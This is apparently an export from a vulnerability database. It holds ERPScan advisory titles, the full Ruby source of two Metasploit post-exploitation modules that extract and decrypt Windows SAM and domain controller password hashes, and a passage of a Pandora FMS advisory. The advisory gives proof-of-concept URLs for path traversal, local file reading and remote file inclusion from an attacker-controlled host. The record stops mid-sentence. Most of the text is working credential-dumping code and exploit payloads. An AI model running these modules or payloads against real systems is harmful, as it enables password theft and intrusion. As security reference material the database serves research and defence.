{"erpscan": [{"lastseen": "2017-04-02T11:20:33", "bulletinFamily": "info", "description": "None\n", "modified": "2013-09-07T00:00:00", "published": "2013-09-07T00:00:00", "href": "https://erpscan.com/advisories/erpscan-13-020-sap-netweaver-shsti_upload_xml-xxe/", "id": "ERPSCAN-13-020", "type": "erpscan", "title": "SAP NetWeaver SHSTI_UPLOAD_XML - XXE", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-04-02T11:20:34", "bulletinFamily": "info", "description": "None\n", "modified": "2012-09-25T00:00:00", "published": "2012-09-25T00:00:00", "href": "https://erpscan.com/advisories/erpscan-14-020-sap-netweaver-management-console-gsoap-partial-http-requests-dos/", "id": "ERPSCAN-14-020", "type": "erpscan", "title": "SAP NetWeaver Management Console (gSOAP) - Partial HTTP requests DoS", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-04-02T11:20:40", "bulletinFamily": "info", "description": "None\n", "modified": "2011-05-13T00:00:00", "published": "2011-05-13T00:00:00", "href": "https://erpscan.com/advisories/erpscan-12-020-sap-crystal-reports-2008-multiple-xss/", "id": "ERPSCAN-12-020", "type": "erpscan", "title": "SAP Crystal Reports 2008 - Multiple XSS", "cvss": {"score": 0.0, "vector": "NONE"}}], "metasploit": [{"lastseen": "2019-06-26T21:23:20", "bulletinFamily": "exploit", "description": "This will dump local accounts from the SAM Database. If the target host is a Domain Controller, it will dump the Domain Account Database using the proper technique depending on privilege level, OS and role of the host.\n", "modified": "2017-07-24T13:26:21", "published": "2012-02-29T01:28:47", "id": "MSF:POST/WINDOWS/GATHER/SMART_HASHDUMP", "href": "", "type": "metasploit", "title": "Windows Gather Local and Domain Controller Account Password Hashes", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/auxiliary/report'\n\nclass MetasploitModule < Msf::Post\n include Msf::Post::File\n include Msf::Post::Windows::Priv\n include Msf::Post::Windows::Registry\n include Msf::Post::Windows::Accounts\n include Msf::Auxiliary::Report\n\n def initialize(info={})\n super( update_info( info,\n 'Name' => 'Windows Gather Local and Domain Controller Account Password Hashes',\n 'Description' => %q{\n This will dump local accounts from the SAM Database. If the target\n host is a Domain Controller, it will dump the Domain Account Database using the proper\n technique depending on privilege level, OS and role of the host.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],\n 'Platform' => [ 'win' ],\n 'SessionTypes' => [ 'meterpreter' ]\n ))\n register_options(\n [\n OptBool.new('GETSYSTEM', [ false, 'Attempt to get SYSTEM privilege on the target host.', false])\n\n ])\n @smb_port = 445\n # Constants for SAM decryption\n @sam_lmpass = \"LMPASSWORD\\x00\"\n @sam_ntpass = \"NTPASSWORD\\x00\"\n @sam_qwerty = \"!@\\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\\x00\"\n @sam_numeric = \"0123456789012345678901234567890123456789\\x00\"\n @sam_empty_lm = [\"aad3b435b51404eeaad3b435b51404ee\"].pack(\"H*\")\n @sam_empty_nt = [\"31d6cfe0d16ae931b73c59d7e0c089c0\"].pack(\"H*\")\n\n end\n\n # Run Method for when run command is issued\n def run\n print_status(\"Running module against #{sysinfo['Computer']}\")\n host = Rex::FileUtils.clean_path(sysinfo[\"Computer\"])\n hash_file = store_loot(\"windows.hashes\", \"text/plain\", session, \"\", \"#{host}_hashes.txt\", \"Windows Hashes\")\n print_status(\"Hashes will be saved to the database if one is connected.\")\n print_good(\"Hashes will be saved in loot in JtR password file format to:\")\n print_status(hash_file)\n smart_hash_dump(datastore['GETSYSTEM'], hash_file)\n end\n\n #-------------------------------------------------------------------------------\n\n def capture_hboot_key(bootkey)\n ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SAM\\\\SAM\\\\Domains\\\\Account\", KEY_READ)\n return if not ok\n vf = ok.query_value(\"F\")\n return if not vf\n vf = vf.data\n ok.close\n\n hash = Digest::MD5.new\n hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)\n\n rc4 = OpenSSL::Cipher.new(\"rc4\")\n rc4.key = hash.digest\n hbootkey = rc4.update(vf[0x80, 32])\n hbootkey << rc4.final\n return hbootkey\n end\n #-------------------------------------------------------------------------------\n\n def capture_user_keys\n users = {}\n ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\", KEY_READ)\n return if not ok\n\n ok.enum_key.each do |usr|\n uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\\\\#{usr}\", KEY_READ)\n next if usr == 'Names'\n users[usr.to_i(16)] ||={}\n users[usr.to_i(16)][:F] = uk.query_value(\"F\").data\n users[usr.to_i(16)][:V] = uk.query_value(\"V\").data\n\n #Attempt to get Hints (from Win7/Win8 Location)\n begin\n users[usr.to_i(16)][:UserPasswordHint] = uk.query_value(\"UserPasswordHint\").data\n rescue ::Rex::Post::Meterpreter::RequestError\n users[usr.to_i(16)][:UserPasswordHint] = nil\n end\n\n uk.close\n end\n ok.close\n\n ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\\\\Names\", KEY_READ)\n ok.enum_key.each do |usr|\n uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\\\\Names\\\\#{usr}\", KEY_READ)\n r = uk.query_value(\"\")\n rid = r.type\n users[rid] ||= {}\n users[rid][:Name] = usr\n\n #Attempt to get Hints (from WinXP Location) only if it's not set yet\n if users[rid][:UserPasswordHint].nil?\n begin\n uk_hint = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Hints\\\\#{usr}\", KEY_READ)\n users[rid][:UserPasswordHint] = uk_hint.query_value(\"\").data\n rescue ::Rex::Post::Meterpreter::RequestError\n users[rid][:UserPasswordHint] = nil\n end\n end\n\n uk.close\n end\n ok.close\n users\n end\n #-------------------------------------------------------------------------------\n\n def decrypt_user_keys(hbootkey, users)\n users.each_key do |rid|\n user = users[rid]\n\n hashlm_enc = \"\"\n hashnt_enc = \"\"\n\n hoff = user[:V][0x9c, 4].unpack(\"V\")[0] + 0xcc\n\n #Check if hashes exist (if 20, then we've got a hash)\n lm_exists = user[:V][0x9c+4,4].unpack(\"V\")[0] == 20 ? true : false\n nt_exists = user[:V][0x9c+16,4].unpack(\"V\")[0] == 20 ? true : false\n\n #If we have a hashes, then parse them (Note: NT is dependant on LM)\n hashlm_enc = user[:V][hoff + 4, 16] if lm_exists\n hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists\n\n user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)\n user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)\n end\n\n users\n end\n #-------------------------------------------------------------------------------\n\n def decode_windows_hint(e_string)\n d_string = \"\"\n e_string.scan(/..../).each do |chunk|\n bytes = chunk.scan(/../)\n d_string += (bytes[1] + bytes[0]).to_s.hex.chr\n end\n d_string\n end\n #-------------------------------------------------------------------------------\n\n def rid_to_key(rid)\n\n s1 = [rid].pack(\"V\")\n s1 << s1[0,3]\n\n s2b = [rid].pack(\"V\").unpack(\"C4\")\n s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack(\"C4\")\n s2 << s2[0,3]\n\n [convert_des_56_to_64(s1), convert_des_56_to_64(s2)]\n end\n #-------------------------------------------------------------------------------\n\n def decrypt_user_hash(rid, hbootkey, enchash, pass)\n\n if(enchash.empty?)\n case pass\n when @sam_lmpass\n return @sam_empty_lm\n when @sam_ntpass\n return @sam_empty_nt\n end\n return \"\"\n end\n\n des_k1, des_k2 = rid_to_key(rid)\n\n d1 = OpenSSL::Cipher.new('des-ecb')\n d1.padding = 0\n d1.key = des_k1\n\n d2 = OpenSSL::Cipher.new('des-ecb')\n d2.padding = 0\n d2.key = des_k2\n\n md5 = Digest::MD5.new\n md5.update(hbootkey[0,16] + [rid].pack(\"V\") + pass)\n\n rc4 = OpenSSL::Cipher.new('rc4')\n rc4.key = md5.digest\n okey = rc4.update(enchash)\n\n d1o = d1.decrypt.update(okey[0,8])\n d1o << d1.final\n\n d2o = d2.decrypt.update(okey[8,8])\n d1o << d2.final\n d1o + d2o\n end\n #-------------------------------------------------------------------------------\n\n def read_hashdump\n host,port = session.session_host, session.session_port\n collected_hashes = \"\"\n tries = 1\n\n begin\n\n print_status(\"\\tObtaining the boot key...\")\n bootkey = capture_boot_key\n\n print_status(\"\\tCalculating the hboot key using SYSKEY #{bootkey.unpack(\"H*\")[0]}...\")\n hbootkey = capture_hboot_key(bootkey)\n\n print_status(\"\\tObtaining the user list and keys...\")\n users = capture_user_keys\n\n print_status(\"\\tDecrypting user keys...\")\n users = decrypt_user_keys(hbootkey, users)\n\n print_status(\"\\tDumping password hints...\")\n hint_count = 0\n users.keys.sort{|a,b| a<=>b}.each do |rid|\n #If we have a hint then print it\n if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0\n print_good(\"\\t#{users[rid][:Name]}:\\\"#{users[rid][:UserPasswordHint]}\\\"\")\n hint_count += 1\n end\n end\n print_status(\"\\tNo users with password hints on this system\") if hint_count == 0\n\n print_status(\"\\tDumping password hashes...\")\n users.keys.sort{|a,b| a<=>b}.each do |rid|\n # next if guest account or support account\n next if rid == 501 or rid == 1001\n collected_hashes << \"#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack(\"H*\")[0]}:#{users[rid][:hashnt].unpack(\"H*\")[0]}:::\\n\"\n\n print_good(\"\\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack(\"H*\")[0]}:#{users[rid][:hashnt].unpack(\"H*\")[0]}:::\")\n\n service_data = {\n address: host,\n port: @smb_port,\n service_name: 'smb',\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n origin_type: :session,\n session_id: session_db_id,\n post_reference_name: self.refname,\n private_type: :ntlm_hash,\n private_data: users[rid][:hashlm].unpack(\"H*\")[0] +\":\"+ users[rid][:hashnt].unpack(\"H*\")[0],\n username: users[rid][:Name]\n }\n\n credential_data.merge!(service_data)\n\n # Create the Metasploit::Credential::Core object\n credential_core = create_credential(credential_data)\n\n # Assemble the options hash for creating the Metasploit::Credential::Login object\n login_data ={\n core: credential_core,\n status: Metasploit::Model::Login::Status::UNTRIED\n }\n\n # Merge in the service data and create our Login\n login_data.merge!(service_data)\n login = create_credential_login(login_data)\n end\n\n rescue ::Interrupt\n raise $!\n rescue ::Rex::Post::Meterpreter::RequestError => e\n # Sometimes we get this invalid handle race condition.\n # So let's retry a couple of times before giving up.\n # See bug #6815\n if tries < 5 and e.to_s =~ /The handle is invalid/\n print_status(\"Handle is invalid, retrying...\")\n tries += 1\n retry\n\n else\n print_error(\"Meterpreter Exception: #{e.class} #{e}\")\n print_error(\"This script requires the use of a SYSTEM user context (hint: migrate into service process)\")\n end\n\n rescue ::Exception => e\n print_error(\"Error: #{e.class} #{e} #{e.backtrace}\")\n end\n return collected_hashes\n end\n #-------------------------------------------------------------------------------\n\n def inject_hashdump\n collected_hashes = \"\"\n host,port = session.session_host, session.session_port\n # Load priv extension\n session.core.use(\"priv\")\n # dump hashes\n session.priv.sam_hashes.each do |h|\n returned_hash = h.to_s.split(\":\")\n if returned_hash[1] == \"j\"\n returned_hash.delete_at(1)\n end\n rid = returned_hash[1].to_i\n\n # Skip the Guest Account\n next if rid == 501 or rid == 1001\n\n # skip if it returns nil for an entry\n next if h == nil\n begin\n user = returned_hash[0].scan(/^[a-zA-Z0-9_\\-$.]*/).join.gsub(/\\.$/,\"\")\n lmhash = returned_hash[2].scan(/[a-f0-9]*/).join\n next if lmhash == nil\n hash_entry = \"#{user}:#{rid}:#{lmhash}:#{returned_hash[3]}\"\n collected_hashes << \"#{hash_entry}\\n\"\n print_good(\"\\t#{hash_entry}\")\n\n service_data = {\n address: host,\n port: @smb_port,\n service_name: 'smb',\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n origin_type: :session,\n session_id: session_db_id,\n post_reference_name: self.refname,\n private_type: :ntlm_hash,\n private_data: \"#{lmhash}:#{returned_hash[3]}\",\n username: user\n }\n\n credential_data.merge!(service_data)\n\n # Create the Metasploit::Credential::Core object\n credential_core = create_credential(credential_data)\n\n # Assemble the options hash for creating the Metasploit::Credential::Login object\n login_data ={\n core: credential_core,\n status: Metasploit::Model::Login::Status::UNTRIED\n }\n\n # Merge in the service data and create our Login\n login_data.merge!(service_data)\n login = create_credential_login(login_data)\n rescue\n next\n end\n end\n return collected_hashes\n end\n #-------------------------------------------------------------------------------\n\n # Function for checking if target is a DC\n def is_dc?\n is_dc_srv = false\n serviceskey = \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\"\n if registry_enumkeys(serviceskey).include?(\"NTDS\")\n if registry_enumkeys(serviceskey + \"\\\\NTDS\").include?(\"Parameters\")\n print_good(\"\\tThis host is a Domain Controller!\")\n is_dc_srv = true\n end\n end\n return is_dc_srv\n end\n #-------------------------------------------------------------------------------\n\n # Function to migrate to a process running as SYSTEM\n def move_to_sys\n # Make sure you got the correct SYSTEM Account Name no matter the OS Language\n local_sys = resolve_sid(\"S-1-5-18\")\n system_account_name = \"#{local_sys[:domain]}\\\\#{local_sys[:name]}\"\n\n # Processes that can Blue Screen a host if migrated in to\n dangerous_processes = [\"lsass.exe\", \"csrss.exe\", \"smss.exe\"]\n\n print_status(\"Migrating to process owned by SYSTEM\")\n session.sys.process.processes.each do |p|\n\n # Check we are not migrating to a process that can BSOD the host\n next if dangerous_processes.include?(p[\"name\"])\n\n next if p[\"pid\"] == session.sys.process.getpid\n\n if p[\"user\"] == system_account_name\n print_status(\"Migrating to #{p[\"name\"]}\")\n session.core.migrate(p[\"pid\"])\n print_good(\"Successfully migrated to #{p[\"name\"]}\")\n return\n end\n end\n end\n\n #-------------------------------------------------------------------------------\n\n def smart_hash_dump(migrate_system, pwdfile)\n domain_controler = is_dc?\n if not is_uac_enabled? or is_admin?\n print_status(\"Dumping password hashes...\")\n # Check if Running as SYSTEM\n if is_system?\n # For DC's the registry read method does not work.\n if domain_controler\n begin\n file_local_write(pwdfile,inject_hashdump)\n rescue::Exception => e\n print_error(\"Failed to dump hashes as SYSTEM, trying to migrate to another process\")\n\n if sysinfo['OS'] =~ /Windows (2008|2012)/i\n move_to_sys\n file_local_write(pwdfile,inject_hashdump)\n else\n print_error(\"Could not get NTDS hashes!\")\n end\n end\n\n # Check if not DC\n else\n print_status \"Running as SYSTEM extracting hashes from registry\"\n file_local_write(pwdfile,read_hashdump)\n end\n\n # Check if not running as SYSTEM\n else\n\n # Check if Domain Controller\n if domain_controler\n begin\n file_local_write(pwdfile,inject_hashdump)\n rescue\n if migrate_system\n print_status(\"Trying to get SYSTEM privilege\")\n results = session.priv.getsystem\n if results[0]\n print_good(\"Got SYSTEM privilege\")\n if session.sys.config.sysinfo['OS'] =~ /Windows (2008|2012)/i\n # Migrate process since on Windows 2008 R2 getsystem\n # does not set certain privilege tokens required to\n # inject and dump the hashes.\n move_to_sys\n end\n file_local_write(pwdfile,inject_hashdump)\n else\n print_error(\"Could not obtain SYSTEM privileges\")\n end\n else\n print_error(\"Could not get NTDS hashes!\")\n end\n\n end\n elsif sysinfo['OS'] =~ /Windows (7|8|2008|2012|Vista)/i\n if migrate_system\n print_status(\"Trying to get SYSTEM privilege\")\n results = session.priv.getsystem\n if results[0]\n print_good(\"Got SYSTEM privilege\")\n file_local_write(pwdfile,read_hashdump)\n else\n print_error(\"Could not obtain SYSTEM privilege\")\n end\n else\n print_error(\"On this version of Windows you need to be NT AUTHORITY\\\\SYSTEM to dump the hashes\")\n print_error(\"Try setting GETSYSTEM to true.\")\n end\n\n else\n if migrate_system\n print_status(\"Trying to get SYSTEM privilege\")\n results = session.priv.getsystem\n if results[0]\n print_good(\"Got SYSTEM privilege\")\n file_local_write(pwdfile,read_hashdump)\n else\n print_error(\"Could not obtain SYSTEM privileges\")\n end\n else\n file_local_write(pwdfile,inject_hashdump)\n end\n\n end\n\n end\n else\n print_error(\"Insufficient privileges to dump hashes!\")\n end\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/post/windows/gather/smart_hashdump.rb"}, {"lastseen": "2019-06-12T20:55:41", "bulletinFamily": "exploit", "description": "This module will dump the local user accounts from the SAM database using the registry\n", "modified": "2017-07-24T13:26:21", "published": "2011-04-27T16:25:15", "id": "MSF:POST/WINDOWS/GATHER/HASHDUMP", "href": "", "type": "metasploit", "title": "Windows Gather Local User Account Password Hashes (Registry)", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/auxiliary/report'\n\nclass MetasploitModule < Msf::Post\n include Msf::Auxiliary::Report\n include Msf::Post::Windows::Priv\n include Msf::Post::Windows::Registry\n\n def initialize(info={})\n super( update_info( info,\n 'Name' => 'Windows Gather Local User Account Password Hashes (Registry)',\n 'Description' => %q{ This module will dump the local user accounts from the SAM database using the registry },\n 'License' => MSF_LICENSE,\n 'Author' => [ 'hdm' ],\n 'Platform' => [ 'win' ],\n 'SessionTypes' => [ 'meterpreter' ]\n ))\n\n # Constants for SAM decryption\n @sam_lmpass = \"LMPASSWORD\\x00\"\n @sam_ntpass = \"NTPASSWORD\\x00\"\n @sam_qwerty = \"!@\\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\\x00\"\n @sam_numeric = \"0123456789012345678901234567890123456789\\x00\"\n @sam_empty_lm = [\"aad3b435b51404eeaad3b435b51404ee\"].pack(\"H*\")\n @sam_empty_nt = [\"31d6cfe0d16ae931b73c59d7e0c089c0\"].pack(\"H*\")\n\n end\n\n def run\n tries = 0\n\n begin\n\n print_status(\"Obtaining the boot key...\")\n bootkey = capture_boot_key\n\n print_status(\"Calculating the hboot key using SYSKEY #{bootkey.unpack(\"H*\")[0]}...\")\n hbootkey = capture_hboot_key(bootkey)\n\n print_status(\"Obtaining the user list and keys...\")\n users = capture_user_keys\n\n print_status(\"Decrypting user keys...\")\n users = decrypt_user_keys(hbootkey, users)\n\n print_status(\"Dumping password hints...\")\n print_line()\n hint_count = 0\n users.keys.sort{|a,b| a<=>b}.each do |rid|\n #If we have a hint then print it\n if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0\n print_line \"#{users[rid][:Name]}:\\\"#{users[rid][:UserPasswordHint]}\\\"\"\n hint_count += 1\n end\n end\n print_line \"No users with password hints on this system\" if hint_count == 0\n print_line()\n\n print_status(\"Dumping password hashes...\")\n print_line()\n print_line()\n\n # Assemble the information about the SMB service for this host\n service_data = {\n address: ::Rex::Socket.getaddress(session.sock.peerhost, true),\n port: 445,\n service_name: 'smb',\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n # Assemble data about the credential objects we will be creating\n credential_data = {\n origin_type: :session,\n session_id: session_db_id,\n post_reference_name: self.refname,\n private_type: :ntlm_hash\n }\n\n # Merge the service data into the credential data\n credential_data.merge!(service_data)\n\n users.keys.sort{|a,b| a<=>b}.each do |rid|\n hashstring = \"#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack(\"H*\")[0]}:#{users[rid][:hashnt].unpack(\"H*\")[0]}:::\"\n\n # Add the details for this specific credential\n credential_data[:private_data] = users[rid][:hashlm].unpack(\"H*\")[0] +\":\"+ users[rid][:hashnt].unpack(\"H*\")[0]\n credential_data[:username] = users[rid][:Name].downcase\n\n # Create the Metasploit::Credential::Core object\n credential_core = create_credential(credential_data)\n\n # Assemble the options hash for creating the Metasploit::Credential::Login object\n login_data ={\n core: credential_core,\n status: Metasploit::Model::Login::Status::UNTRIED\n }\n\n # Merge in the service data and create our Login\n login_data.merge!(service_data)\n login = create_credential_login(login_data)\n\n\n print_line hashstring\n end\n print_line()\n print_line()\n\n rescue ::Interrupt\n raise $!\n rescue ::Rex::Post::Meterpreter::RequestError => e\n # Sometimes we get this invalid handle race condition.\n # So let's retry a couple of times before giving up.\n # See bug #6815\n if tries < 5 and e.to_s =~ /The handle is invalid/\n print_status(\"Handle is invalid, retrying...\")\n tries += 1\n retry\n\n else\n print_error(\"Meterpreter Exception: #{e.class} #{e}\")\n print_error(\"This script requires the use of a SYSTEM user context (hint: migrate into service process)\")\n end\n #rescue ::Exception => e\n #\tprint_error(\"Error: #{e.class} #{e} #{e.backtrace}\")\n end\n end\n\n def capture_hboot_key(bootkey)\n ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SAM\\\\SAM\\\\Domains\\\\Account\", KEY_READ)\n return if not ok\n vf = ok.query_value(\"F\")\n return if not vf\n vf = vf.data\n ok.close\n\n revision = vf[0x68, 4].unpack('V')[0]\n\n case revision\n when 1\n hash = Digest::MD5.new\n hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)\n\n rc4 = OpenSSL::Cipher.new(\"rc4\")\n rc4.key = hash.digest\n hbootkey = rc4.update(vf[0x80, 32])\n hbootkey << rc4.final\n hbootkey\n when 2\n aes = OpenSSL::Cipher.new('aes-128-cbc')\n aes.key = bootkey\n aes.padding = 0\n aes.decrypt\n aes.iv = vf[0x78, 16]\n aes.update(vf[0x88, 16]) # we need only 16 bytes\n else\n raise NotImplementedError, \"Unknown hboot_key revision: #{revision}\"\n end\n end\n\n def capture_user_keys\n users = {}\n ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\", KEY_READ)\n return if not ok\n\n ok.enum_key.each do |usr|\n uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\\\\#{usr}\", KEY_READ)\n next if usr == 'Names'\n users[usr.to_i(16)] ||={}\n users[usr.to_i(16)][:F] = uk.query_value(\"F\").data\n users[usr.to_i(16)][:V] = uk.query_value(\"V\").data\n\n #Attempt to get Hints (from Win7/Win8 Location)\n begin\n users[usr.to_i(16)][:UserPasswordHint] = uk.query_value(\"UserPasswordHint\").data\n rescue ::Rex::Post::Meterpreter::RequestError\n users[usr.to_i(16)][:UserPasswordHint] = nil\n end\n\n uk.close\n end\n ok.close\n\n ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\\\\Names\", KEY_READ)\n ok.enum_key.each do |usr|\n uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\\\\Names\\\\#{usr}\", KEY_READ)\n r = uk.query_value(\"\")\n rid = r.type\n users[rid] ||= {}\n users[rid][:Name] = usr\n\n #Attempt to get Hints (from WinXP Location) only if it's not set yet\n if users[rid][:UserPasswordHint].nil?\n begin\n uk_hint = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Hints\\\\#{usr}\", KEY_READ)\n users[rid][:UserPasswordHint] = uk_hint.query_value(\"\").data\n rescue ::Rex::Post::Meterpreter::RequestError\n users[rid][:UserPasswordHint] = nil\n end\n end\n\n uk.close\n end\n ok.close\n users\n end\n\n def decrypt_user_keys(hbootkey, users)\n users.each_key do |rid|\n user = users[rid]\n\n hashlm_off = user[:V][0x9c, 4].unpack(\"V\")[0] + 0xcc\n hashlm_len = user[:V][0xa0, 4].unpack(\"V\")[0]\n hashlm_enc = user[:V][hashlm_off, hashlm_len]\n\n hashnt_off = user[:V][0xa8, 4].unpack(\"V\")[0] + 0xcc\n hashnt_len = user[:V][0xac, 4].unpack(\"V\")[0]\n hashnt_enc = user[:V][hashnt_off, hashnt_len]\n\n user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass, @sam_empty_lm)\n user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass, @sam_empty_nt)\n end\n\n users\n end\n\n def decode_windows_hint(e_string)\n d_string = \"\"\n e_string.scan(/..../).each do |chunk|\n bytes = chunk.scan(/../)\n d_string += (bytes[1] + bytes[0]).to_s.hex.chr\n end\n d_string\n end\n\n def rid_to_key(rid)\n\n s1 = [rid].pack(\"V\")\n s1 << s1[0,3]\n\n s2b = [rid].pack(\"V\").unpack(\"C4\")\n s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack(\"C4\")\n s2 << s2[0,3]\n\n [convert_des_56_to_64(s1), convert_des_56_to_64(s2)]\n end\n\n def decrypt_user_hash(rid, hbootkey, enchash, pass, default)\n revision = enchash[2, 2].unpack('v')[0]\n\n case revision\n when 1\n if enchash.length < 20\n return default\n end\n\n md5 = Digest::MD5.new\n md5.update(hbootkey[0,16] + [rid].pack(\"V\") + pass)\n\n rc4 = OpenSSL::Cipher.new('rc4')\n rc4.key = md5.digest\n okey = rc4.update(enchash[4, 16])\n when 2\n if enchash.length < 40\n return default\n end\n\n aes = OpenSSL::Cipher.new('aes-128-cbc')\n aes.key = hbootkey[0, 16]\n aes.padding = 0\n aes.decrypt\n aes.iv = enchash[8, 16]\n okey = aes.update(enchash[24, 16]) # we need only 16 bytes\n else\n print_error(\"Unknown user hash revision: #{revision}\")\n return default\n end\n\n des_k1, des_k2 = rid_to_key(rid)\n\n d1 = OpenSSL::Cipher.new('des-ecb')\n d1.padding = 0\n d1.key = des_k1\n\n d2 = OpenSSL::Cipher.new('des-ecb')\n d2.padding = 0\n d2.key = des_k2\n\n d1o = d1.decrypt.update(okey[0,8])\n d1o << d1.final\n\n d2o = d2.decrypt.update(okey[8,8])\n d1o << d2.final\n d1o + d2o\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/post/windows/gather/hashdump.rb"}], "zdt": [{"lastseen": "2018-01-05T17:13:17", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2010-12-01T00:00:00", "published": "2010-12-01T00:00:00", "id": "1337DAY-ID-15008", "href": "https://0day.today/exploit/description/15008", "type": "zdt", "title": "Pandora FMS <= 3.1 Mullti Vulnerability", "sourceData": "=======================================\r\nPandora FMS <= 3.1 Mullti Vulnerability\r\n=======================================\r\n\r\nPath Traversal:\r\n \r\nPHP File Inclusion (or RFI/LFI: Remote/Local file inclusion) -\r\nCVE-2010-4281 -CVE-2010-4282 - CVSS 8.5/10\r\n \r\nParameter 'page' of ajax.php is not properly sanitizing user-supplied\r\ninput. The function safe_url_extraclean is filtering ':' character, and\r\nit doesn't allow to use the string \"http://\"; to create urls, but allows\r\n'/' character and an attacker could reference remote resources via\r\nWindows UNC files, using //servername//resource/file\r\n \r\nNote that the first check in safe_url_extraclean is filtering '://', so\r\nwe can bypass the filter easily doing http://http://url, and it only\r\nstrip the first protocol://. However, the last preg_replace strips the :\r\ncharacter.\r\n \r\nProof of concept:\r\n \r\nUNC: http://servername/pandora_console/ajax.php?page=//server/share/test\r\n \r\nAs well, ajax.php allows to include any php file in the disk\r\n \r\nfilesystem:\r\nhttp://servername/pandora_console/ajax.php?page=../../../../../directory/file\r\n \r\nCharacter %00 is not allowed due safe_url_extraclean function filtering,\r\nand is not possible to include other files distinct that php files, but\r\nstill allows . and / characters.\r\n \r\n \r\nPHP File Inclusion (or RFI Remote file inclusion) - CVE-2010-4283\r\n- - CVSS 7.9/10\r\n \r\nAn attacker can inject arbitrary PHP code and execute it remotely due\r\nargv[1] parameter is not filtered in file pandora_diag.php.\r\n \r\nPoC:\r\nhttp://servername/pandora_console/extras/pandora_diag.php?argc=2&argv[1]=http://serverattacker/salsa.php%00\r\n \r\nNote: that issue needs register_globals set to On to be exploitable.\r\n \r\n \r\nPath traversal & Local file inclusion vulnerabilities -\r\nCVE-2010-4282 - CVSS 6.8/10\r\n \r\nAn attacker can include arbitrary files of the filesystem via id\r\nparameter in file pandora_help.php.\r\n \r\n \r\nSnippet of vulnerable code:\r\n \r\n 24 $id = get_parameter ('id');\r\n 25\r\n 26 /* Possible file locations */\r\n 27 $files = array\r\n($config[\"homedir\"].\"/include/help/\".$config[\"language\"].\"/help_\".$id.\".php\",\r\n 28\r\n$config[\"homedir\"].ENTERPRISE_DIR.\"/include/help/\".$config[\"language\"].\"/help_\".$id.\".php\",\r\n 29\r\n$config[\"homedir\"].ENTERPRISE_DIR.\"/include/help/en/help_\".$id.\".php\",\r\n 30 $config[\"homedir\"].\"/include/help/en/help_\".$id.\".php\");\r\n 31 $help_file = '';\r\n 32 foreach ($files as $file) {\r\n 33 if (file_exists ($file)) {\r\n 34 $help_file = $file;\r\n 35 break;\r\n 36 }\r\n 37 }\r\n...\r\n 62 require_once ($help_file);\r\n \r\n \r\nProof of concept:\r\n \r\nhttp://servername/pandora_console/general/pandora_help.php?id=/../../../../../../../boot.ini%00\r\n \r\nThis code is platform dependent bug, you can read more at\r\nhttp://seclists.org/fulldisclosure/2010/Jul/137\r\nOnly works in windows systems, an attacker can include local file using\r\n../ characters due parameter id is not filtered\r\nIf magic_quotes_gpc is Off, arbitrary files can be included, like\r\nboot.ini using NULL character (%00), if not, only php files are allowed\r\n \r\n \r\nPath traversal & Arbitrary write and delete files - CVE-2010-4282\r\n- - CVSS 8.0/10\r\n \r\nIn file operation/agentes/networkmap.php the 'layout' 